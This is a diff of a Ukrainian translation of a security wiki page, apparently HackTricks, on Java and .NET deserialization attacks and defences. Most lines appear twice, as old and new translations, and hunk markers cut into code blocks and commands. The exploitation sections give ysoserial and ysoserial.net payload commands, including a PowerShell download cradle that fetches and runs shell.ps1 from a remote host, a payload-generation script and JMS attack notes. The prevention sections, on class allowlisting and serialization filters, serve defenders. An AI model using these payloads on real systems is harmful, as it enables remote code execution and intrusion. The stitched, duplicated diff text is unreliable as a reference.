[**Ви можете знайти більше інформації про Freddy тут.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
Ви також можете використати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** у Burp. Цей плагін виявляє **не лише уразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. В активному режимі він спробує підтвердити їх за допомогою sleep або DNS payload-ів.\
[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Тест серіалізації**
**Serialization Test**
Не все зводиться до перевірки, чи використовується якась вразлива бібліотека сервером. Іноді ви можете **змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки** (можливо, надати вам адміністративні привілеї в веб-додатку).\
Якщо ви знайдете серіалізований об'єкт java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення серіалізованого об'єкта в більш зрозумілому форматі**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки.
Не все зводиться до перевірки, чи використовується на сервері якась вразлива бібліотека. Іноді ви можете **змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки** (можливо це дасть вам права admin всередині webapp).\
Якщо ви знаходите java serialized object, що надсилається в вебдодаток, **ви можете використати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **щоб надрукувати у більш зрозумілому для людини форматі серіалізований об'єкт, який надсилається**. Знаючи, які дані ви відправляєте, буде легше їх змінити і обійти деякі перевірки.
### **Експлойт**
### **Exploit**
#### **ysoserial**
Основний інструмент для експлуатації Java десеріалізацій - це [**ysoserial**](https://github.com/frohoff/ysoserial) ([**скачати тут**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ви також можете розглянути можливість використання [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), що дозволить вам використовувати складні команди (наприклад, з конвеєрами).\
Зверніть увагу, що цей інструмент **зосереджений** на експлуатації **`ObjectInputStream`**.\
Я б **почав використовувати payload "URLDNS"** **перед RCE** payload, щоб перевірити, чи можлива ін'єкція. У будь-якому випадку, зверніть увагу, що, можливо, payload "URLDNS" не працює, але інший RCE payload може.
Головним інструментом для експлуатації Java десеріалізацій є [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ви також можете розглянути використання [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), який дозволить використовувати складні команди (наприклад з pipes).\
Зверніть увагу, що цей інструмент **орієнтований** на експлуатацію **`ObjectInputStream`**.\
Я б **почав з використання payload "URLDNS"** перед RCE payload-ом, щоб перевірити, чи можлива інʼєкція. У будь-якому разі зауважте, що payload "URLDNS" може не спрацювати, тоді як інший RCE payload може працювати.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -484,9 +498,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
Коли ви створюєте payload для **java.lang.Runtime.exec()**, ви **не можете використовувати спеціальні символи** такі як ">" або "|" для перенаправлення виходу виконання, "$()" для виконання команд або навіть **передавати аргументи** команді, розділені **пробілами** (ви можете зробити `echo -n "hello world"`, але не можете зробити `python2 -c 'print "Hello world"'`). Щоб правильно закодувати payload, ви можете [використати цю веб-сторінку](http://www.jackson-t.ca/runtime-exec-payloads.html).
При створенні payload для **java.lang.Runtime.exec()** ви **не можете використовувати спеціальні символи** такі як ">" або "|" для перенаправлення виводу виконання, "$()" для виконання команд або навіть **передавати аргументи** команді, розділені **пробілами** (ви можете зробити `echo -n "hello world"` але не можете зробити `python2 -c 'print "Hello world"'`). В order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
Не соромтеся використовувати наступний скрипт для створення **всіх можливих payload для виконання коду** для Windows і Linux, а потім протестуйте їх на вразливій веб-сторінці:
Не соромтеся використовувати наступний скрипт для створення **all the possible code execution** payloads для Windows і Linux і потім протестувати їх на вразливій веб-сторінці:
```python
import os
import base64
@ -509,12 +523,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
#### serialkillerbypassgadgets
Ви можете **використовувати** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **разом з ysoserial для створення більше експлойтів**. Більше інформації про цей інструмент у **слайдах виступу**, де був представлений інструмент: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
Ви можете **використовувати** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **разом із ysoserial для створення додаткових exploits**. Більше інформації про цей інструмент у **слайдах доповіді**, де інструмент було представлено: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
#### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec)може бути використаний для генерації payload'ів для експлуатації різних **Json** та **Yml** бібліотек серіалізації в Java.\
Щоб скомпілювати проект, мені потрібно було **додати** ці **залежності** до `pom.xml`:
[**marshalsec** ](https://github.com/mbechler/marshalsec) можна використовувати для генерації payloads, які exploit різні бібліотеки серіалізації **Json** та **Yml** у Java.\
Щоб скомпілювати проект, мені довелося **додати** ці **залежності** до `pom.xml`:
```html
<dependency>
<groupId>javax.activation</groupId>
@ -536,37 +550,37 @@ mvn clean package -DskipTests
```
#### FastJSON
Дізнайтеся більше про цю бібліотеку Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
Детальніше про цю Java JSON-бібліотеку: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
### Labs
### Лабораторні вправи
- Якщо ви хочете протестувати деякі payloads ysoserial, ви можете **запустити цей веб-додаток**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
- Якщо ви хочете протестувати деякі ysoserial payloads, ви можете **запустити цей webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
### Why
### Чому
Java використовує багато серіалізації для різних цілей, таких як:
Java широко використовує серіалізацію для різних цілей, таких як:
- **HTTP запити**: Серіалізація широко використовується в управлінні параметрами, ViewState, cookies тощо.
- **RMI (Remote Method Invocation)**: Протокол Java RMI, який повністю покладається на серіалізацію, є основою для віддаленого зв'язку в Java-додатках.
- **RMI через HTTP**: Цей метод зазвичай використовується Java-додатками з товстим клієнтом, використовуючи серіалізацію для всіх об'єктних комунікацій.
- **JMX (Java Management Extensions)**: JMX використовує серіалізацію для передачі об'єктів через мережу.
- **Користувацькі протоколи**: У Java стандартною практикою є передача сирих Java-об'єктів, що буде продемонстровано в наступних прикладах експлуатації.
- **HTTP requests**: Серіалізація широко використовується при обробці параметрів, ViewState, cookies тощо.
- **RMI (Remote Method Invocation)**: Протокол Java RMI, який повністю спирається на серіалізацію, є основою для віддаленої взаємодії в Java-додатках.
- **RMI over HTTP**: Цей метод зазвичай використовується Java-based thick client web applications, які використовують серіалізацію для всієї комунікації об'єктів.
- **JMX (Java Management Extensions)**: JMX використовує серіалізацію для передачі об'єктів по мережі.
- **Custom Protocols**: У Java стандартною практикою є передача raw Java objects, що буде продемонстровано в наступних exploit examples.
### Prevention
#### Transient objects
Клас, який реалізує `Serializable`, може реалізувати як `transient` будь-який об'єкт всередині класу, який не повинен бути серіалізованим. Наприклад:
Клас, який реалізує `Serializable`, може позначати як `transient` будь-який об'єкт всередині класу, який не повинен бути серіалізований. Наприклад:
```java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
```
#### Уникайте серіалізації класу, який повинен реалізовувати Serializable
#### Уникайте серіалізації класу, який повинен реалізувати `Serializable`
У сценаріях, де певні **об'єкти повинні реалізовувати інтерфейс `Serializable`** через ієрархію класів, існує ризик ненавмисної десеріалізації. Щоб запобігти цьому, переконайтеся, що ці об'єкти не підлягають десеріалізації, визначивши `final` метод `readObject()`, який постійно викидає виключення, як показано нижче:
У випадках, коли певні **об'єкти повинні реалізовувати інтерфейс `Serializable`** через ієрархію класів, існує ризик ненавмисної десеріалізації. Щоб запобігти цьому, переконайтеся, що ці об'єкти не піддаються десеріалізації, визначивши `final` `readObject()` метод, який завжди кидає виняток, як показано нижче:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -574,12 +588,12 @@ throw new java.io.IOException("Cannot be deserialized");
```
#### **Покращення безпеки десеріалізації в Java**
**Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення безпеки процесів десеріалізації. Цей метод підходить, коли:
**Налаштування `java.io.ObjectInputStream`** — практичний підхід для захисту процесів десеріалізації. Цей метод підходить, коли:
- Код десеріалізації знаходиться під вашим контролем.
- Відомі класи, які очікуються для десеріалізації.
- Класи, очікувані для десеріалізації, відомі.
Перевизначте метод **`resolveClass()`**, щоб обмежити десеріалізацію лише дозволеними класами. Це запобігає десеріалізації будь-якого класу, крім тих, що явно дозволені, як у наступному прикладі, який обмежує десеріалізацію лише класом `Bicycle`:
Переоприділіть метод **`resolveClass()`**, щоб обмежити десеріалізацію тільки дозволеними класами. Це запобігає десеріалізації будь-якого класу, крім явно дозволених, як у наведеному нижче прикладі, що обмежує десеріалізацію лише класом `Bicycle`:
```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -600,17 +614,17 @@ return super.resolveClass(desc);
}
}
```
**Використання Java Agent для покращення безпеки** пропонує резервне рішення, коли модифікація коду неможлива. Цей метод застосовується в основному для **чорного списку шкідливих класів**, використовуючи параметр JVM:
**Using a Java Agent for Security Enhancement** пропонує резервне рішення, коли модифікація коду неможлива. Цей метод застосовується переважно для **blacklisting harmful classes**, з використанням параметра JVM:
```
-javaagent:name-of-agent.jar
```
Це забезпечує спосіб динамічно захистити десеріалізацію, що ідеально підходить для середовищ, де негайні зміни коду є непрактичними.
Воно надає спосіб захистити десеріалізацію динамічно, що ідеально підходить для середовищ, де негайні зміни коду неможливі.
Перегляньте приклад у [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Впровадження фільтрів серіалізації**: Java 9 представила фільтри серіалізації через інтерфейс **`ObjectInputFilter`**, що забезпечує потужний механізм для визначення критеріїв, яким повинні відповідати серіалізовані об'єкти перед десеріалізацією. Ці фільтри можуть бути застосовані глобально або для кожного потоку, пропонуючи детальний контроль над процесом десеріалізації.
**Впровадження фільтрів серіалізації**: Java 9 introduced serialization filters via the **`ObjectInputFilter`** interface, providing a powerful mechanism for specifying criteria that serialized objects must meet before being deserialized. These filters can be applied globally or per stream, offering a granular control over the deserialization process.
Щоб використовувати фільтри серіалізації, ви можете встановити глобальний фільтр, який застосовується до всіх операцій десеріалізації, або налаштувати його динамічно для конкретних потоків. Наприклад:
Щоб використовувати фільтри серіалізації, можна встановити глобальний фільтр, який застосовується до всіх операцій десеріалізації, або налаштувати його динамічно для конкретних потоків. Наприклад:
```java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -622,29 +636,30 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені функції для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізацію власних стратегій серіалізації.
**Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки такі як **NotSoSerial**, **jdeserialize** та **Kryo** пропонують розширені можливості для контролю та моніторингу Java десеріалізації. Ці бібліотеки можуть забезпечувати додаткові рівні захисту, наприклад білi/чорні списки класів, аналіз серіалізованих об’єктів перед десеріалізацією та впровадження кастомних стратегій серіалізації.
- **NotSoSerial** перехоплює процеси десеріалізації, щоб запобігти виконанню ненадійного коду.
- **jdeserialize** дозволяє аналізувати серіалізовані Java-об'єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий контент.
- **Kryo** є альтернативною рамкою серіалізації, яка акцентує увагу на швидкості та ефективності, пропонуючи налаштовувані стратегії серіалізації, які можуть підвищити безпеку.
- **NotSoSerial** перехоплює процеси десеріалізації, щоб запобігти виконанню неперевіреного коду.
- **jdeserialize** дозволяє аналізувати серіалізовані Java-обєкти без їх десеріалізації, що допомагає виявити потенційно шкідливий вміст.
- **Kryo** — альтернативний фреймворк для серіалізації, який робить акцент на швидкості та ефективності, пропонуючи конфігуровані стратегії серіалізації, що можуть підвищити безпеку.
### Посилання
### References
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
- Десеріалізація та доповідь ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- Доповідь про gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) та слайди: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Стаття Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Стаття про десеріалізацію Java та .Net JSON: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- CVE десеріалізацій: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Injection & log4Shell
Дізнайтеся, що таке **JNDI Injection, як його зловживати через RMI, CORBA та LDAP і як експлуатувати log4shell** (і приклад цієї уразливості) на наступній сторінці:
Дізнайтеся, що таке **JNDI Injection**, як зловживати ним через RMI, CORBA & LDAP та як експлуатувати log4shell (і приклад цієї вразливості) на наступній сторінці:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -652,71 +667,71 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Message Service
> **Java Message Service** (**JMS**) API є Java API для обміну повідомленнями між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатка бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> The **Java Message Service** (**JMS**) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producerconsumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Продукти
### Products
Існує кілька продуктів, які використовують це програмне забезпечення для надсилання повідомлень:
Існує кілька продуктів, які використовують це middleware для відправки повідомлень:
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>)
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (1056).png>)
### Експлуатація
### Exploitation
Отже, в основному є **безліч сервісів, які використовують JMS небезпечним чином**. Тому, якщо у вас є **достатні привілеї** для надсилання повідомлень цим сервісам (зазвичай вам знадобляться дійсні облікові дані), ви зможете надіслати **шкідливі об'єкти, серіалізовані, які будуть десеріалізовані споживачем/підписником**.\
Це означає, що в цій експлуатації всі **клієнти, які будуть використовувати це повідомлення, заразяться**.
Отже, по суті існує багато сервісів, що використовують JMS небезпечним способом. Тому, якщо у вас є достатні привілеї для відправки повідомлень у ці сервіси (зазвичай потрібні валідні облікові дані), ви можете надіслати **шкідливі серіалізовані об’єкти, які будуть десеріалізовані споживачем/підписником**.\
Це означає, що при такій експлуатації всі **клієнти, які використовуватимуть це повідомлення, можуть бути інфіковані**.
Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує вхідні дані користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості.
Потрібно пам’ятати, що навіть якщо сервіс вразливий (через небезпечну десеріалізацію вхідних даних), все одно треба знайти валідні gadgets для експлуатації вразливості.
Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений для **підключення та атаки на ці сервіси, надсилаючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів**. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який з використаних гаджетів знаходиться всередині вразливого додатка.
Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений, щоб **підключатися та атакувати ці сервіси, відправляючи кілька шкідливих серіалізованих об’єктів, використовуючи відомі gadgets**. Ці експлойти спрацюють, якщо сервіс все ще вразливий і якщо будь-який із використаних gadgets присутній у вразливому застосунку.
### Посилання
### References
- [Patchstack advisory Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
- Доповідь JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- Слайди: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
## .Net
У контексті .Net експлойти десеріалізації працюють подібно до тих, що зустрічаються в Java, де гаджети експлуатуються для виконання конкретного коду під час десеріалізації об'єкта.
У контексті .Net експлойти через десеріалізацію працюють аналогічно до Java — gadgets використовуються для виконання певного коду під час десеріалізації обєкта.
### Відбиток
### Fingerprint
#### WhiteBox
Джерельний код слід перевірити на наявність:
Потрібно перевірити вихідний код на наявність:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
Слід зосередитися на серіалізаторах, які дозволяють визначити тип за змінною під контролем користувача.
Увага має бути спрямована на серіалізатори, які дозволяють визначати тип через змінну під контролем користувача.
#### BlackBox
Пошук слід націлити на рядок, закодований у Base64 **AAEAAAD/////** або будь-який подібний шаблон, який може бути десеріалізований на стороні сервера, надаючи контроль над типом, що підлягає десеріалізації. Це може включати, але не обмежується, **JSON** або **XML** структурами з `TypeObject` або `$type`.
Пошук має бути спрямований на Base64-кодований рядок **AAEAAAD/////** або будь-який подібний шаблон, який може пройти десеріалізацію на стороні сервера, надаючи контроль над типом для десеріалізації. Це може включати, але не обмежується, **JSON** або **XML** структурами з `TypeObject` або `$type`.
### ysoserial.net
У цьому випадку ви можете використовувати інструмент [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) для **створення експлойтів десеріалізації**. Після завантаження репозиторію git вам слід **скомпілювати інструмент** за допомогою Visual Studio, наприклад.
У цьому випадку ви можете використати інструмент [**ysoserial.net**](https://github.com/pwntester/ysoserial.net), щоб **створювати експлойти через десеріалізацію**. Після завантаження репозиторію git слід **скомпілювати інструмент**, наприклад, через Visual Studio.
Якщо ви хочете дізнатися, **як ysoserial.net створює свій експлойт**, ви можете [**перевірити цю сторінку, де пояснюється гаджет ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Якщо ви хочете дізнатися, **як ysoserial.net створює свої експлойти**, ви можете [**переглянути цю сторінку, де пояснюється ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Основні параметри **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.**
Головні опції **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.**
- **`--gadget`** використовується для вказівки гаджета, який потрібно зловживати (вказати клас/функцію, яка буде зловживатися під час десеріалізації для виконання команд).
- **`--formatter`**, використовується для вказівки методу серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації).
- **`--output`** використовується для вказівки, чи хочете ви експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням у Windows), тому, якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._
- **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, таких як ViewState.
- **`--gadget`** використовується для вказівки gadget, який буде зловживатися (вказати клас/функцію, що буде використана під час десеріалізації для виконання команд).
- **`--formatter`** використовується для вказівки методу серіалізації експлойта (потрібно знати, яку бібліотеку використовує бекенд для десеріалізації та використовувати ту ж саму для серіалізації).
- **`--output`** вказує, чи хочете ви отримати експлойт у вигляді **raw** або **base64**. _Зверніть увагу, що **ysoserial.net** **кодує** payload з використанням **UTF-16LE** (кодування за замовчуванням у Windows), тому якщо ви отримаєте raw і просто закодуєте його з консольки на Linux, можуть виникнути проблеми сумісності кодувань, які завадять експлойту працювати коректно (в HTB JSON box payload працював і в UTF-16LE, і в ASCII, але це не гарантує роботи завжди)._
- **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, наприклад ViewState
#### Більше параметрів ysoserial.net
- `--minify` надасть **менше корисне навантаження** (якщо це можливо)
- `--raf -f Json.Net -c "anything"` Це вказуватиме всі гаджети, які можна використовувати з наданим форматором (`Json.Net` у цьому випадку)
- `--sf xml` ви можете **вказати гаджет** (`-g`), і ysoserial.net шукатиме формати, що містять "xml" (незалежно від регістру)
- `--minify` намагатиметься створити **менший payload** (якщо можливо)
- `--raf -f Json.Net -c "anything"` це покаже всі gadgets, які можна використати з вказаним formatter (`Json.Net` у цьому прикладі)
- `--sf xml` ви можете **вказати gadget** (`-g`) і ysoserial.net буде шукати formatter'и, що містять "xml" (незалежно від регістру)
**Приклади ysoserial** для створення експлойтів:
**ysoserial examples** to create exploits:
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -734,9 +749,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** має також **дуже цікавий параметр**, який допомагає краще зрозуміти, як працює кожен експлойт: `--test`\
Якщо ви вкажете цей параметр, **ysoserial.net** **спробує** **експлойт локально,** щоб ви могли перевірити, чи ваш payload працюватиме правильно.\
Цей параметр корисний, оскільки, якщо ви переглянете код, ви знайдете шматки коду, подібні до наступного (з [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
**ysoserial.net** також має **дуже цікавий параметр**, який допомагає краще зрозуміти, як працює кожен exploit: `--test`\
Якщо ви вкажете цей параметр, **ysoserial.net** **спробує** **exploit локально,** щоб ви могли перевірити, чи ваш payload працюватиме коректно.\
Цей параметр корисний, тому що, якщо ви переглянете код, ви знайдете фрагменти коду, схожі на наступний (з [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
{
@ -750,7 +765,7 @@ Debugging.ShowErrors(inputArgs, err);
}
}
```
Це означає, що для тестування експлойту код викликатиме [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
Це означає, що для перевірки експлойту код викличе [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
```java
public static object JsonNet_deserialize(string str)
{
@ -761,46 +776,46 @@ TypeNameHandling = TypeNameHandling.Auto
return obj;
}
```
